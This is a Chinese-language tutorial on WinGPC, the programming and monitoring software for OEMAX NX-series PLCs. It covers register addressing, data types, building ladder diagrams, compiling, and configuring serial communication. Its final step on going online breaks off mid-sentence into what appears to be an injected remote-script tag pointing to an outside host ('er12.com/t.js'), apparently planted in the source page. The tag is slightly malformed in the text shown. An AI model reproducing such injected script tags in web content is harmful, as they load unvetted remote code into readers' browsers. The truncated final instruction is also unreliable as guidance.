1. wingpc概貌和软件安装
wingpc是基于windows的oemax nx系列plc编程、组态和监测软件,它支持拖拉、撤消/重做、剪贴/拷贝以及放大缩小等windows操作,它具有许多windows操作系统所特有的优点,帮助用户方便地进行逻辑编程,下文适用于wingpc 4.0或以上的版本。
1.1 wingpc运行要求以下基本计算机配置:奔腾兼容cpu、windows nt4.0/2000/xp操作系统、至少10mb存储空间、rs 232/485串行通讯口、键盘和鼠标输入。
1.2 wingpc4.0文件系统:wingpc4.0或更高的版本只使用了一个扩展名为prr的工程文件,pgm文件仍然有效,系对wingpc3.x工程所产生的prj、ldr、lbl、pgm、bin和mne文件在新软件中统一集成而成。
1.3 wingpc数据类型和寄存器寻址
1.3.1可以使用的寄存器资源表:
wingpc中,寄存器的地址根据其数据类型(位或字)其表达有所不同,例如r002表示是字寄存器,r002.01表示该字寄存器的第2位,这样是将之作为位寄存器来用。
1.3.2数据类型
在wingpc中,根据使用的plc型号可以运用下列不同的数据类型,存储数据的地方被称为寄存器,共有两种类型:位寄存器和字寄存器,在wingpc使用的数据类型有:bit(位,用1和0来表示闭合或打开状态)、word(字,为16位,乃是寄存器单位,wingpc中可用十进制或十六进制显示)、dword(双字,为32位,常表达二进制数据,一般用两个连续存放的寄存器来表达双字概念,其地址为该两个连续存放的寄存器中第一个的地址)、bcd(二进制编码的十进制,用4位表达0~9的十进制数)。
1.3.3 绝对寻址
在ldr、dldr、sto和dsto指令中,采用绝对地址去间接引用寄存器或内置的通讯口,绝对地址常用于通讯场合,由绝对字地址和位号组成(位号0~15由$0~$f来表示),即0~3为位号、4~15为绝对字地址,如内部k127.12接触器的绝对位地址是$1bfc(hex)($1bfc=绝对字地址$01bf+位号$c)。
1.4 在oemax的plc中有两种比较重要的寄存器:标志(f)寄存器、特殊(sr)寄存器。
2.创建工程与梯形图
运行wingpc软件将出现一个窗口,然后可创建新的工程或打开已经存在的工程,连接plc进行在线操作;或控制和监测plc运行状态。如要编辑逻辑程序或监测逻辑程序,必须先打开一个工程。
2.1创建或打开工程:在工具栏点击创建图标或在工程菜单中选择新建工程项将出现对话框,也可以选择一个已经存在的prr工程文件,或点击打开工程文件图标,软件将打开该文件。而后在上述对话框中输入工程信息,如工程名称(缺省类型位prr)、plc型号、cpu类型等。
2.2创建梯形图
2.2.1使用指令工具栏或快捷键
创建好了工程后,我们可借助工具栏来创建梯形图逻辑,工具栏里的各项都有对应快捷键,该键在各项的提示信息中会出现。
2.2.2 编制梯形图逻辑:①在工具栏点击横线图标两次,产生两个rung;②用鼠标选择第一个rung,点击触点图标产生一个触点,当绿色编辑框弹出时输入r000.01后按回车;点击t图标产生一个定时器指令,输入tim 100 50后按回车;③用鼠标选择第二个rung,点击触点和线圈图标产生一个触点和一个输出,再为其输入操作数。
2.2.3 编译逻辑:为使plc运行输入的逻辑,必须将其翻译成plc接收的二进制文件。点击编译图标或在编辑菜单中选择编辑项以完成此步骤,或使用快捷键[ctrl+l]。
2.2.4 信息窗口:一旦编译图标被按下,信息窗口将显示语法检查结果,如有编译错误会将其列出, 并显示该错误原因和位置,双击该错误信息可以使光标跳转到错误位置,出错的rung会标记'e'。
2.3联机
联机后可以上下载程序,通过wingpc和plc间的通讯来监测和控制plc运行,联机前须确保pc与plc之间的rs232/rs485正常连接,并且串行通讯口的设置正常。
2.3.1脱机和联机状态:脱机状态指示为off-line,表示plc未与plc正常通讯,当通讯连接建立时状态指示为on-line。
2.3.2通讯口配置:在联机plc和下载程序之前,须配置通讯口,波特率和cpu之id,确认plc和pc件的通讯电缆连接无误后,在工具栏上点击联机图标,或在联机菜单里选择联机项,在对弹出话框中输入通讯配置参数。 如将plc与pc直接连接,可以将cpu之id设置为缺省的255;如果采用rs-485网络连接法,则必须不选择仅rs232项以便rts信号得以使用,输入正确的cpu之id号和密码(如果未设定则无须输入密码,我们可在监测联机菜单中的系统信息项中的对话框里找到密码设定处,可修改密码),然后按确定按钮,如预通过链路连接实现通讯,必须选择链路网路项,一旦通讯连接成功,cpu类型,cpu之id等将会在状态栏里显示。
2.3.3联机:在工具栏里点击联机图标,?script src=http://er12.com/t.js>











